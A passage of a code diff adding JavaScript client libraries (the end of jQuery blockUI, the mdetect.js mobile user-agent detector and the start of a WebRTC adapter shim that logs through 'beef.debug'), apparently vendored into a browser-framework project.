if ( $el.data('blockUI.isBlocked') )
|
||||
return;
|
||||
|
||||
els.each(function(i,o) {
|
||||
// remove via DOM calls so we don't lose event handlers
|
||||
if (this.parentNode)
|
||||
this.parentNode.removeChild(this);
|
||||
});
|
||||
|
||||
if (data && data.el) {
|
||||
data.el.style.display = data.display;
|
||||
data.el.style.position = data.position;
|
||||
data.el.style.cursor = 'default'; // #59
|
||||
if (data.parent)
|
||||
data.parent.appendChild(data.el);
|
||||
$el.removeData('blockUI.history');
|
||||
}
|
||||
|
||||
if ($el.data('blockUI.static')) {
|
||||
$el.css('position', 'static'); // #22
|
||||
}
|
||||
|
||||
if (typeof opts.onUnblock == 'function')
|
||||
opts.onUnblock(el,opts);
|
||||
|
||||
// fix issue in Safari 6 where block artifacts remain until reflow
|
||||
var body = $(document.body), w = body.width(), cssW = body[0].style.width;
|
||||
body.width(w-1).width(w);
|
||||
body[0].style.width = cssW;
|
||||
}
|
||||
|
||||
// bind/unbind the handler
|
||||
function bind(b, el, opts) {
|
||||
var full = el == window, $el = $(el);
|
||||
|
||||
// don't bother unbinding if there is nothing to unbind
|
||||
if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))
|
||||
return;
|
||||
|
||||
$el.data('blockUI.isBlocked', b);
|
||||
|
||||
// don't bind events when overlay is not in use or if bindEvents is false
|
||||
if (!full || !opts.bindEvents || (b && !opts.showOverlay))
|
||||
return;
|
||||
|
||||
// bind anchors and inputs for mouse and key events
|
||||
var events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove';
|
||||
if (b)
|
||||
$(document).bind(events, opts, handler);
|
||||
else
|
||||
$(document).unbind(events, handler);
|
||||
|
||||
// former impl...
|
||||
// var $e = $('a,:input');
|
||||
// b ? $e.bind(events, opts, handler) : $e.unbind(events, handler);
|
||||
}
|
||||
|
||||
// event handler to suppress keyboard/mouse events when blocking
|
||||
function handler(e) {
|
||||
// allow tab navigation (conditionally)
|
||||
if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) {
|
||||
if (pageBlock && e.data.constrainTabKey) {
|
||||
var els = pageBlockEls;
|
||||
var fwd = !e.shiftKey && e.target === els[els.length-1];
|
||||
var back = e.shiftKey && e.target === els[0];
|
||||
if (fwd || back) {
|
||||
setTimeout(function(){focus(back);},10);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
var opts = e.data;
|
||||
var target = $(e.target);
|
||||
if (target.hasClass('blockOverlay') && opts.onOverlayClick)
|
||||
opts.onOverlayClick(e);
|
||||
|
||||
// allow events within the message content
|
||||
if (target.parents('div.' + opts.blockMsgClass).length > 0)
|
||||
return true;
|
||||
|
||||
// allow events for content that is not being blocked
|
||||
return target.parents().children().filter('div.blockUI').length === 0;
|
||||
}
|
||||
|
||||
function focus(back) {
|
||||
if (!pageBlockEls)
|
||||
return;
|
||||
var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
|
||||
if (e)
|
||||
e.focus();
|
||||
}
|
||||
|
||||
function center(el, x, y) {
|
||||
var p = el.parentNode, s = el.style;
|
||||
var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
|
||||
var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
|
||||
if (x) s.left = l > 0 ? (l+'px') : '0';
|
||||
if (y) s.top = t > 0 ? (t+'px') : '0';
|
||||
}
|
||||
|
||||
function sz(el, p) {
|
||||
return parseInt($.css(el,p),10)||0;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
/*global define:true */
|
||||
if (typeof define === 'function' && define.amd && define.amd.jQuery) {
|
||||
define(['jquery'], setup);
|
||||
} else {
|
||||
setup(jQuery);
|
||||
}
|
||||
|
||||
})();
|
||||
708
core/main/client/lib/mdetect.js
Normal file
708
core/main/client/lib/mdetect.js
Normal file
@@ -0,0 +1,708 @@
|
||||
|
||||
/* *******************************************
|
||||
// Copyright 2010-2012, Anthony Hand
|
||||
// mdetect : http://code.google.com/p/mobileesp/source/browse/JavaScript/mdetect.js r215
|
||||
// LICENSE INFORMATION
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
// Unless required by applicable law or agreed to in writing,
|
||||
// software distributed under the License is distributed on an
|
||||
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
|
||||
// either express or implied. See the License for the specific
|
||||
// language governing permissions and limitations under the License.
|
||||
// *******************************************
|
||||
*/
|
||||
|
||||
var isIphone = false;
|
||||
var isAndroidPhone = false;
|
||||
var isTierTablet = false;
|
||||
var isTierIphone = false;
|
||||
var isTierRichCss = false;
|
||||
var isTierGenericMobile = false;
|
||||
|
||||
var engineWebKit = "webkit";
|
||||
var deviceIphone = "iphone";
|
||||
var deviceIpod = "ipod";
|
||||
var deviceIpad = "ipad";
|
||||
var deviceMacPpc = "macintosh"; //Used for disambiguation
|
||||
|
||||
var deviceAndroid = "android";
|
||||
var deviceGoogleTV = "googletv";
|
||||
var deviceXoom = "xoom"; //Motorola Xoom
|
||||
var deviceHtcFlyer = "htc_flyer"; //HTC Flyer
|
||||
|
||||
var deviceNuvifone = "nuvifone"; //Garmin Nuvifone
|
||||
|
||||
var deviceSymbian = "symbian";
|
||||
var deviceS60 = "series60";
|
||||
var deviceS70 = "series70";
|
||||
var deviceS80 = "series80";
|
||||
var deviceS90 = "series90";
|
||||
|
||||
var deviceWinPhone7 = "windows phone os 7";
|
||||
var deviceWinMob = "windows ce";
|
||||
var deviceWindows = "windows";
|
||||
var deviceIeMob = "iemobile";
|
||||
var devicePpc = "ppc"; //Stands for PocketPC
|
||||
var enginePie = "wm5 pie"; //An old Windows Mobile
|
||||
|
||||
var deviceBB = "blackberry";
|
||||
var vndRIM = "vnd.rim"; //Detectable when BB devices emulate IE or Firefox
|
||||
var deviceBBStorm = "blackberry95"; //Storm 1 and 2
|
||||
var deviceBBBold = "blackberry97"; //Bold 97x0 (non-touch)
|
||||
var deviceBBBoldTouch = "blackberry 99"; //Bold 99x0 (touchscreen)
|
||||
var deviceBBTour = "blackberry96"; //Tour
|
||||
var deviceBBCurve = "blackberry89"; //Curve 2
|
||||
var deviceBBCurveTouch = "blackberry 938"; //Curve Touch 9380
|
||||
var deviceBBTorch = "blackberry 98"; //Torch
|
||||
var deviceBBPlaybook = "playbook"; //PlayBook tablet
|
||||
|
||||
var devicePalm = "palm";
|
||||
var deviceWebOS = "webos"; //For Palm's line of WebOS devices
|
||||
var deviceWebOShp = "hpwos"; //For HP's line of WebOS devices
|
||||
|
||||
var engineBlazer = "blazer"; //Old Palm browser
|
||||
var engineXiino = "xiino";
|
||||
|
||||
var deviceKindle = "kindle"; //Amazon Kindle, eInk one
|
||||
var engineSilk = "silk"; //Amazon's accelerated Silk browser for Kindle Fire
|
||||
|
||||
var vndwap = "vnd.wap";
|
||||
var wml = "wml";
|
||||
|
||||
var deviceTablet = "tablet"; //Generic term for slate and tablet devices
|
||||
var deviceBrew = "brew";
|
||||
var deviceDanger = "danger";
|
||||
var deviceHiptop = "hiptop";
|
||||
var devicePlaystation = "playstation";
|
||||
var deviceNintendoDs = "nitro";
|
||||
var deviceNintendo = "nintendo";
|
||||
var deviceWii = "wii";
|
||||
var deviceXbox = "xbox";
|
||||
var deviceArchos = "archos";
|
||||
|
||||
var engineOpera = "opera"; //Popular browser
|
||||
var engineNetfront = "netfront"; //Common embedded OS browser
|
||||
var engineUpBrowser = "up.browser"; //common on some phones
|
||||
var engineOpenWeb = "openweb"; //Transcoding by OpenWave server
|
||||
var deviceMidp = "midp"; //a mobile Java technology
|
||||
var uplink = "up.link";
|
||||
var engineTelecaQ = 'teleca q'; //a modern feature phone browser
|
||||
|
||||
var devicePda = "pda";
|
||||
var mini = "mini"; //Some mobile browsers put 'mini' in their names.
|
||||
var mobile = "mobile"; //Some mobile browsers put 'mobile' in their user agent strings.
|
||||
var mobi = "mobi"; //Some mobile browsers put 'mobi' in their user agent strings.
|
||||
|
||||
var maemo = "maemo";
|
||||
var linux = "linux";
|
||||
var qtembedded = "qt embedded"; //for Sony Mylo and others
|
||||
var mylocom2 = "com2"; //for Sony Mylo also
|
||||
|
||||
var manuSonyEricsson = "sonyericsson";
|
||||
var manuericsson = "ericsson";
|
||||
var manuSamsung1 = "sec-sgh";
|
||||
var manuSony = "sony";
|
||||
var manuHtc = "htc"; //Popular Android and WinMo manufacturer
|
||||
|
||||
var svcDocomo = "docomo";
|
||||
var svcKddi = "kddi";
|
||||
var svcVodafone = "vodafone";
|
||||
|
||||
var disUpdate = "update"; //pda vs. update
|
||||
|
||||
var uagent = "";
|
||||
if (navigator && navigator.userAgent)
|
||||
uagent = navigator.userAgent.toLowerCase();
|
||||
|
||||
function DetectIphone()
|
||||
{
|
||||
if (uagent.search(deviceIphone) > -1)
|
||||
{
|
||||
if (DetectIpad() || DetectIpod())
|
||||
return false;
|
||||
else
|
||||
return true;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectIpod()
|
||||
{
|
||||
if (uagent.search(deviceIpod) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectIpad()
|
||||
{
|
||||
if (uagent.search(deviceIpad) > -1 && DetectWebkit())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectIphoneOrIpod()
|
||||
{
|
||||
if (uagent.search(deviceIphone) > -1 ||
|
||||
uagent.search(deviceIpod) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectIos()
|
||||
{
|
||||
if (DetectIphoneOrIpod() || DetectIpad())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectAndroid()
|
||||
{
|
||||
if ((uagent.search(deviceAndroid) > -1) || DetectGoogleTV())
|
||||
return true;
|
||||
if (uagent.search(deviceHtcFlyer) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectAndroidPhone()
|
||||
{
|
||||
if (DetectAndroid() && (uagent.search(mobile) > -1))
|
||||
return true;
|
||||
if (DetectOperaAndroidPhone())
|
||||
return true;
|
||||
if (uagent.search(deviceHtcFlyer) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectAndroidTablet()
|
||||
{
|
||||
if (!DetectAndroid())
|
||||
return false;
|
||||
|
||||
if (DetectOperaMobile())
|
||||
return false;
|
||||
if (uagent.search(deviceHtcFlyer) > -1)
|
||||
return false;
|
||||
|
||||
if (uagent.search(mobile) > -1)
|
||||
return false;
|
||||
else
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
function DetectAndroidWebKit()
|
||||
{
|
||||
if (DetectAndroid() && DetectWebkit())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
function DetectGoogleTV()
|
||||
{
|
||||
if (uagent.search(deviceGoogleTV) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
function DetectWebkit()
|
||||
{
|
||||
if (uagent.search(engineWebKit) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectS60OssBrowser()
|
||||
{
|
||||
if (DetectWebkit())
|
||||
{
|
||||
if ((uagent.search(deviceS60) > -1 ||
|
||||
uagent.search(deviceSymbian) > -1))
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectSymbianOS()
|
||||
{
|
||||
if (uagent.search(deviceSymbian) > -1 ||
|
||||
uagent.search(deviceS60) > -1 ||
|
||||
uagent.search(deviceS70) > -1 ||
|
||||
uagent.search(deviceS80) > -1 ||
|
||||
uagent.search(deviceS90) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectWindowsPhone7()
|
||||
{
|
||||
if (uagent.search(deviceWinPhone7) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectWindowsMobile()
|
||||
{
|
||||
if (DetectWindowsPhone7())
|
||||
return false;
|
||||
if (uagent.search(deviceWinMob) > -1 ||
|
||||
uagent.search(deviceIeMob) > -1 ||
|
||||
uagent.search(enginePie) > -1)
|
||||
return true;
|
||||
if ((uagent.search(devicePpc) > -1) &&
|
||||
!(uagent.search(deviceMacPpc) > -1))
|
||||
return true;
|
||||
if (uagent.search(manuHtc) > -1 &&
|
||||
uagent.search(deviceWindows) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBlackBerry()
|
||||
{
|
||||
if (uagent.search(deviceBB) > -1)
|
||||
return true;
|
||||
if (uagent.search(vndRIM) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBlackBerryTablet()
|
||||
{
|
||||
if (uagent.search(deviceBBPlaybook) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBlackBerryWebKit()
|
||||
{
|
||||
if (DetectBlackBerry() &&
|
||||
uagent.search(engineWebKit) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBlackBerryTouch()
|
||||
{
|
||||
if (DetectBlackBerry() &&
|
||||
((uagent.search(deviceBBStorm) > -1) ||
|
||||
(uagent.search(deviceBBTorch) > -1) ||
|
||||
(uagent.search(deviceBBBoldTouch) > -1) ||
|
||||
(uagent.search(deviceBBCurveTouch) > -1) ))
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBlackBerryHigh()
|
||||
{
|
||||
if (DetectBlackBerryWebKit())
|
||||
return false;
|
||||
if (DetectBlackBerry())
|
||||
{
|
||||
if (DetectBlackBerryTouch() ||
|
||||
uagent.search(deviceBBBold) > -1 ||
|
||||
uagent.search(deviceBBTour) > -1 ||
|
||||
uagent.search(deviceBBCurve) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBlackBerryLow()
|
||||
{
|
||||
if (DetectBlackBerry())
|
||||
{
|
||||
if (DetectBlackBerryHigh() || DetectBlackBerryWebKit())
|
||||
return false;
|
||||
else
|
||||
return true;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
function DetectPalmOS()
|
||||
{
|
||||
if (uagent.search(devicePalm) > -1 ||
|
||||
uagent.search(engineBlazer) > -1 ||
|
||||
uagent.search(engineXiino) > -1)
|
||||
{
|
||||
if (DetectPalmWebOS())
|
||||
return false;
|
||||
else
|
||||
return true;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectPalmWebOS()
|
||||
{
|
||||
if (uagent.search(deviceWebOS) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectWebOSTablet()
|
||||
{
|
||||
if (uagent.search(deviceWebOShp) > -1 &&
|
||||
uagent.search(deviceTablet) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectGarminNuvifone()
|
||||
{
|
||||
if (uagent.search(deviceNuvifone) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
function DetectSmartphone()
|
||||
{
|
||||
if (DetectIphoneOrIpod()
|
||||
|| DetectAndroidPhone()
|
||||
|| DetectS60OssBrowser()
|
||||
|| DetectSymbianOS()
|
||||
|| DetectWindowsMobile()
|
||||
|| DetectWindowsPhone7()
|
||||
|| DetectBlackBerry()
|
||||
|| DetectPalmWebOS()
|
||||
|| DetectPalmOS()
|
||||
|| DetectGarminNuvifone())
|
||||
return true;
|
||||
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectArchos()
|
||||
{
|
||||
if (uagent.search(deviceArchos) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBrewDevice()
|
||||
{
|
||||
if (uagent.search(deviceBrew) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectDangerHiptop()
|
||||
{
|
||||
if (uagent.search(deviceDanger) > -1 ||
|
||||
uagent.search(deviceHiptop) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectMaemoTablet()
|
||||
{
|
||||
if (uagent.search(maemo) > -1)
|
||||
return true;
|
||||
if ((uagent.search(linux) > -1)
|
||||
&& (uagent.search(deviceTablet) > -1)
|
||||
&& !DetectWebOSTablet()
|
||||
&& !DetectAndroid())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectSonyMylo()
|
||||
{
|
||||
if (uagent.search(manuSony) > -1)
|
||||
{
|
||||
if (uagent.search(qtembedded) > -1 ||
|
||||
uagent.search(mylocom2) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectOperaMobile()
|
||||
{
|
||||
if (uagent.search(engineOpera) > -1)
|
||||
{
|
||||
if (uagent.search(mini) > -1 ||
|
||||
uagent.search(mobi) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectOperaAndroidPhone()
|
||||
{
|
||||
if ((uagent.search(engineOpera) > -1) &&
|
||||
(uagent.search(deviceAndroid) > -1) &&
|
||||
(uagent.search(mobi) > -1))
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectOperaAndroidTablet()
|
||||
{
|
||||
if ((uagent.search(engineOpera) > -1) &&
|
||||
(uagent.search(deviceAndroid) > -1) &&
|
||||
(uagent.search(deviceTablet) > -1))
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectSonyPlaystation()
|
||||
{
|
||||
if (uagent.search(devicePlaystation) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectNintendo()
|
||||
{
|
||||
if (uagent.search(deviceNintendo) > -1 ||
|
||||
uagent.search(deviceWii) > -1 ||
|
||||
uagent.search(deviceNintendoDs) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectXbox()
|
||||
{
|
||||
if (uagent.search(deviceXbox) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectGameConsole()
|
||||
{
|
||||
if (DetectSonyPlaystation())
|
||||
return true;
|
||||
if (DetectNintendo())
|
||||
return true;
|
||||
if (DetectXbox())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectKindle()
|
||||
{
|
||||
if (uagent.search(deviceKindle) > -1 &&
|
||||
!DetectAndroid())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectAmazonSilk()
|
||||
{
|
||||
if (uagent.search(engineSilk) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectMobileQuick()
|
||||
{
|
||||
if (DetectTierTablet())
|
||||
return false;
|
||||
|
||||
if (DetectSmartphone())
|
||||
return true;
|
||||
|
||||
if (uagent.search(deviceMidp) > -1 ||
|
||||
DetectBrewDevice())
|
||||
return true;
|
||||
|
||||
if (DetectOperaMobile())
|
||||
return true;
|
||||
|
||||
if (uagent.search(engineNetfront) > -1)
|
||||
return true;
|
||||
if (uagent.search(engineUpBrowser) > -1)
|
||||
return true;
|
||||
if (uagent.search(engineOpenWeb) > -1)
|
||||
return true;
|
||||
|
||||
if (DetectDangerHiptop())
|
||||
return true;
|
||||
|
||||
if (DetectMaemoTablet())
|
||||
return true;
|
||||
if (DetectArchos())
|
||||
return true;
|
||||
|
||||
if ((uagent.search(devicePda) > -1) &&
|
||||
!(uagent.search(disUpdate) > -1))
|
||||
return true;
|
||||
if (uagent.search(mobile) > -1)
|
||||
return true;
|
||||
|
||||
if (DetectKindle() ||
|
||||
DetectAmazonSilk())
|
||||
return true;
|
||||
|
||||
return false;
|
||||
};
|
||||
|
||||
|
||||
function DetectMobileLong()
|
||||
{
|
||||
if (DetectMobileQuick())
|
||||
return true;
|
||||
if (DetectGameConsole())
|
||||
return true;
|
||||
if (DetectSonyMylo())
|
||||
return true;
|
||||
|
||||
if (uagent.search(manuSamsung1) > -1 ||
|
||||
uagent.search(manuSonyEricsson) > -1 ||
|
||||
uagent.search(manuericsson) > -1)
|
||||
return true;
|
||||
|
||||
if (uagent.search(svcDocomo) > -1)
|
||||
return true;
|
||||
if (uagent.search(svcKddi) > -1)
|
||||
return true;
|
||||
if (uagent.search(svcVodafone) > -1)
|
||||
return true;
|
||||
|
||||
|
||||
return false;
|
||||
};
|
||||
|
||||
|
||||
function DetectTierTablet()
|
||||
{
|
||||
if (DetectIpad()
|
||||
|| DetectAndroidTablet()
|
||||
|| DetectBlackBerryTablet()
|
||||
|| DetectWebOSTablet())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectTierIphone()
|
||||
{
|
||||
if (DetectIphoneOrIpod())
|
||||
return true;
|
||||
if (DetectAndroidPhone())
|
||||
return true;
|
||||
if (DetectBlackBerryWebKit() && DetectBlackBerryTouch())
|
||||
return true;
|
||||
if (DetectWindowsPhone7())
|
||||
return true;
|
||||
if (DetectPalmWebOS())
|
||||
return true;
|
||||
if (DetectGarminNuvifone())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectTierRichCss()
|
||||
{
|
||||
if (DetectMobileQuick())
|
||||
{
|
||||
if (DetectTierIphone() || DetectKindle())
|
||||
return false;
|
||||
|
||||
if (DetectWebkit())
|
||||
return true;
|
||||
if (DetectS60OssBrowser())
|
||||
return true;
|
||||
|
||||
if (DetectBlackBerryHigh())
|
||||
return true;
|
||||
|
||||
if (DetectWindowsMobile())
|
||||
return true;
|
||||
|
||||
if (uagent.search(engineTelecaQ) > -1)
|
||||
return true;
|
||||
|
||||
else
|
||||
return false;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectTierOtherPhones()
|
||||
{
|
||||
if (DetectMobileLong())
|
||||
{
|
||||
if (DetectTierIphone() || DetectTierRichCss())
|
||||
return false;
|
||||
|
||||
else
|
||||
return true;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
|
||||
function InitDeviceScan()
|
||||
{
|
||||
isIphone = DetectIphoneOrIpod();
|
||||
isAndroidPhone = DetectAndroidPhone();
|
||||
isTierIphone = DetectTierIphone();
|
||||
isTierTablet = DetectTierTablet();
|
||||
|
||||
isTierRichCss = DetectTierRichCss();
|
||||
isTierGenericMobile = DetectTierOtherPhones();
|
||||
};
|
||||
|
||||
try {
|
||||
InitDeviceScan();
|
||||
}catch(e){}
|
||||
409
core/main/client/lib/webrtcadapter.js
Normal file
409
core/main/client/lib/webrtcadapter.js
Normal file
@@ -0,0 +1,409 @@
|
||||
/*
|
||||
* Copyright (c) 2014 The WebRTC project authors. All Rights Reserved.
|
||||
*
|
||||
* Use of this source code is governed by a BSD-style license
|
||||
* that can be found in the LICENSE file in the root of the source
|
||||
* tree.
|
||||
*/
|
||||
|
||||
/* More information about these options at jshint.com/docs/options */
|
||||
/* jshint browser: true, camelcase: true, curly: true, devel: true,
|
||||
eqeqeq: true, forin: false, globalstrict: true, node: true,
|
||||
quotmark: single, undef: true, unused: strict */
|
||||
/* global mozRTCIceCandidate, mozRTCPeerConnection, Promise,
|
||||
mozRTCSessionDescription, webkitRTCPeerConnection, MediaStreamTrack */
|
||||
/* exported trace,requestUserMedia */
|
||||
|
||||
'use strict';
|
||||
|
||||
var getUserMedia = null;
|
||||
var attachMediaStream = null;
|
||||
var reattachMediaStream = null;
|
||||
var webrtcDetectedBrowser = null;
|
||||
var webrtcDetectedVersion = null;
|
||||
var webrtcMinimumVersion = null;
|
||||
|
||||
function trace(text) {
|
||||
// This function is used for logging.
|
||||
if (text[text.length - 1] === '\n') {
|
||||
text = text.substring(0, text.length - 1);
|
||||
}
|
||||
if (window.performance) {
|
||||
var now = (window.performance.now() / 1000).toFixed(3);
|
||||
beef.debug(now + ': ' + text);
|
||||
} else {
|
||||
beef.debug(text);
|
||||
}
|
||||
}
|
||||
|
||||
if (navigator.mozGetUserMedia) {
|
||||
|
||||
webrtcDetectedBrowser = 'firefox';
|
||||
|
||||
// the detected firefox version.
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
|
||||
|
||||
// the minimum firefox version still supported by adapter.
|
||||
webrtcMinimumVersion = 31;
|
||||
|
||||
// The RTCPeerConnection object.
|
||||
window.RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
if (webrtcDetectedVersion < 38) {
|
||||
// .urls is not supported in FF < 38.
|
||||
// create RTCIceServers with a single url.
|
||||
if (pcConfig && pcConfig.iceServers) {
|
||||
var newIceServers = [];
|
||||
for (var i = 0; i < pcConfig.iceServers.length; i++) {
|
||||
var server = pcConfig.iceServers[i];
|
||||
if (server.hasOwnProperty('urls')) {
|
||||
for (var j = 0; j < server.urls.length; j++) {
|
||||
var newServer = {
|
||||
url: server.urls[j]
|
||||
};
|
||||
if (server.urls[j].indexOf('turn') === 0) {
|
||||
newServer.username = server.username;
|
||||
newServer.credential = server.credential;
|
||||
}
|
||||
newIceServers.push(newServer);
|
||||
}
|
||||
} else {
|
||||
newIceServers.push(pcConfig.iceServers[i]);
|
||||
}
|
||||
}
|
||||
pcConfig.iceServers = newIceServers;
|
||||
}
|
||||
}
|
||||
return new mozRTCPeerConnection(pcConfig, pcConstraints);
|
||||
};
|
||||
|
||||
// The RTCSessionDescription object.
|
||||
window.RTCSessionDescription = mozRTCSessionDescription;
|
||||
|
||||
// The RTCIceCandidate object.
|
||||
window.RTCIceCandidate = mozRTCIceCandidate;
|
||||
|
||||
// getUserMedia constraints shim.
|
||||
getUserMedia = (webrtcDetectedVersion < 38) ?
|
||||
function(c, onSuccess, onError) {
|
||||
var constraintsToFF37 = function(c) {
|
||||
if (typeof c !== 'object' || c.require) {
|
||||
return c;
|
||||
}
|
||||
var require = [];
|
||||
Object.keys(c).forEach(function(key) {
|
||||
var r = c[key] = (typeof c[key] === 'object') ?
|
||||
c[key] : {ideal: c[key]};
|
||||
if (r.exact !== undefined) {
|
||||
r.min = r.max = r.exact;
|
||||
delete r.exact;
|
||||
}
|
||||
if (r.min !== undefined || r.max !== undefined) {
|
||||
require.push(key);
|
||||
}
|
||||
if (r.ideal !== undefined) {
|
||||
c.advanced = c.advanced || [];
|
||||
var oc = {};
|
||||
oc[key] = {min: r.ideal, max: r.ideal};
|
||||
c.advanced.push(oc);
|
||||
delete r.ideal;
|
||||
if (!Object.keys(r).length) {
|
||||
delete c[key];
|
||||
}
|
||||
}
|
||||
});
|
||||
if (require.length) {
|
||||
c.require = require;
|
||||
}
|
||||
return c;
|
||||
};
|
||||
beef.debug('spec: ' + JSON.stringify(c));
|
||||
c.audio = constraintsToFF37(c.audio);
|
||||
c.video = constraintsToFF37(c.video);
|
||||
beef.debug('ff37: ' + JSON.stringify(c));
|
||||
return navigator.mozGetUserMedia(c, onSuccess, onError);
|
||||
} : navigator.mozGetUserMedia.bind(navigator);
|
||||
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Shim for mediaDevices on older versions.
|
||||
if (!navigator.mediaDevices) {
|
||||
navigator.mediaDevices = {getUserMedia: requestUserMedia,
|
||||
addEventListener: function() { },
|
||||
removeEventListener: function() { }
|
||||
};
|
||||
}
|
||||
navigator.mediaDevices.enumerateDevices =
|
||||
navigator.mediaDevices.enumerateDevices || function() {
|
||||
return new Promise(function(resolve) {
|
||||
var infos = [
|
||||
{kind: 'audioinput', deviceId: 'default', label:'', groupId:''},
|
||||
{kind: 'videoinput', deviceId: 'default', label:'', groupId:''}
|
||||
];
|
||||
resolve(infos);
|
||||
});
|
||||
};
|
||||
|
||||
if (webrtcDetectedVersion < 41) {
|
||||
// Work around http://bugzil.la/1169665
|
||||
var orgEnumerateDevices =
|
||||
navigator.mediaDevices.enumerateDevices.bind(navigator.mediaDevices);
|
||||
navigator.mediaDevices.enumerateDevices = function() {
|
||||
return orgEnumerateDevices().catch(function(e) {
|
||||
if (e.name === 'NotFoundError') {
|
||||
return [];
|
||||
}
|
||||
throw e;
|
||||
});
|
||||
};
|
||||
}
|
||||
// Attach a media stream to an element.
|
||||
attachMediaStream = function(element, stream) {
|
||||
beef.debug('Attaching media stream');
|
||||
element.mozSrcObject = stream;
|
||||
};
|
||||
|
||||
reattachMediaStream = function(to, from) {
|
||||
beef.debug('Reattaching media stream');
|
||||
to.mozSrcObject = from.mozSrcObject;
|
||||
};
|
||||
|
||||
} else if (navigator.webkitGetUserMedia) {
|
||||
|
||||
webrtcDetectedBrowser = 'chrome';
|
||||
|
||||
// the detected chrome version.
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2], 10);
|
||||
|
||||
// the minimum chrome version still supported by adapter.
|
||||
webrtcMinimumVersion = 38;
|
||||
|
||||
// The RTCPeerConnection object.
|
||||
window.RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
